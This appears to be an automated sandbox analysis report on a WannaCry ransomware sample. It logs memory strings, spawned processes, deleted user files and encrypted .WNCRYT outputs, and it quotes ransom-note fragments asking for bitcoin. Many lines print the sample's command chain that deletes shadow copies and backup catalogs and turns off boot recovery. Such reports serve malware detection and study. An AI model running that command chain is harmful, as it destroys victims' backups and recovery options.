Source: @WanaDecryptor@.exe, 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe, 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
Source: @WanaDecryptor@.exe, 0000004B.00000003.1530506863.00000000007BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ~Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33`
Source: @WanaDecryptor@.exe, 0000004B.00000003.1530506863.00000000007BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe, 0000004B.00000002.1531536935.00000000007E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ~Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33`
Source: @WanaDecryptor@.exe, 0000004B.00000003.1530506863.0000000000796000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ~`;zrunascmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe, 0000004B.00000002.1530917323.000000000019B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ^zt/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe, 0000004B.00000002.1531536935.00000000007E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe, 0000004B.00000002.1531536935.00000000007A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ~`;zrunascmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: svchost.exe, 00000055.00000000.1528499130.000001FA3642B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: svchost.exe, 00000055.00000000.1528327844.000001FA36402000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: svchost.exe, 00000055.00000000.1528419587.000001FA36413000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: cmd.exe, 00000059.00000002.1549074997.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\SysWOW64\cmd.exe/cvssadmindeleteshadows/all/quiet&wmicshadowcopydelete&bcdedit/set{default}bootstatuspolicyignoreallfailures&bcdedit/set{default}recoveryenabledno&wbadmindeletecatalog-quiet1
Source: cmd.exe, 00000059.00000002.1549074997.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows\SysWOW64\cmd.exe" c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: cmd.exe, 00000059.00000002.1548322643.000000000084C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: cmd.exe, 00000059.00000002.1548195508.0000000000790000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\SysWOW64\cmd.exeWinSta0\Default%
Source: cmd.exe, 00000059.00000002.1548322643.0000000000840000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet
Source: cmd.exe, 00000059.00000002.1548322643.0000000000840000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietC:\Windows\SysWOW64\cmd.exeWinSta0\DefaultALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows=8f
Source: cmd.exe, 00000059.00000002.1548322643.0000000000840000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe1.11.dr	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: @WanaDecryptor@.exe1.11.dr	Binary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File moved: C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File deleted: C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File moved: C:\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.jpg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File moved: C:\Users\user\Desktop\DUUDTUBZFW.png	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File deleted: C:\Users\user\Desktop\DUUDTUBZFW.png	Jump to behavior

Writes many files with high entropy

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT entropy: 7.9983293364	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js.WNCRYT entropy: 7.99862862088	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js.WNCRYT entropy: 7.99022560916	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRYT entropy: 7.99637488126	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\HSDak9V_lmtkNU64sorwQW-6T38.br[1].js.WNCRYT entropy: 7.99987680578	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ix6gLNUjdsfo1b44Xv9sX0Ilnxw.br[1].js.WNCRYT entropy: 7.99804588737	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js.WNCRYT entropy: 7.99953476104	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRYT entropy: 7.99765168229	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRYT entropy: 7.99941120979	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.WNCRYT entropy: 7.99798424395	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\MR6Zgdyo2coaDBmJxRBOLkPvlpk.br[1].js.WNCRYT entropy: 7.99923040544	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\Ov6JSivEymftttgBEDwd3JIRgz0.br[1].js.WNCRYT entropy: 7.99924475914	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\RfoQ_WQ8YccBpTTC1JFx7r-9GWU.br[1].js.WNCRYT entropy: 7.99903034599	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\UHyc3IjuWFO6s9IoOlmmJWw7Jqs.br[1].js.WNCRYT entropy: 7.99963108594	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\vPBP7RPIJrbNZlhe-HUXYkcDX0A.br[1].js.WNCRYT entropy: 7.99719790776	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRYT entropy: 7.99845396163	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRYT entropy: 7.99900370304	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ZNvOyS-r2rT3Al22ByUYXLQ5kPY.br[1].js.WNCRYT entropy: 7.99812024708	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRYT entropy: 7.9967761313	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRYT entropy: 7.99088728114	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRYT entropy: 7.99819743435	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRYT entropy: 7.99840971864	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRYT entropy: 7.99827699961	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRYT entropy: 7.99866182586	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133556788209046880.txt.WNCRYT entropy: 7.99849122671	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133556788503660237.txt.WNCRYT entropy: 7.9984883625	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99975186377	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT entropy: 7.99917326831	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT entropy: 7.99936547955	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\Downloads\Ransomware.WannaCry.zip.WNCRYT entropy: 7.99995016523	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT entropy: 7.9919612542	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\s.wnry entropy: 7.998263053	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\t.wnry entropy: 7.99727613788	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99981275091	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT entropy: 7.99648727058	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT entropy: 7.99093301689	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT entropy: 7.99300407594	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT entropy: 7.99029303433	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT entropy: 7.9921522433	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT entropy: 7.99471300322	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT entropy: 7.99274564856	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRYT entropy: 7.99775739374	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRYT entropy: 7.99985345761	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRYT entropy: 7.99981081909	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRYT entropy: 7.99983863305	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT entropy: 7.99989229228	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRYT entropy: 7.9977352683	Jump to dropped file
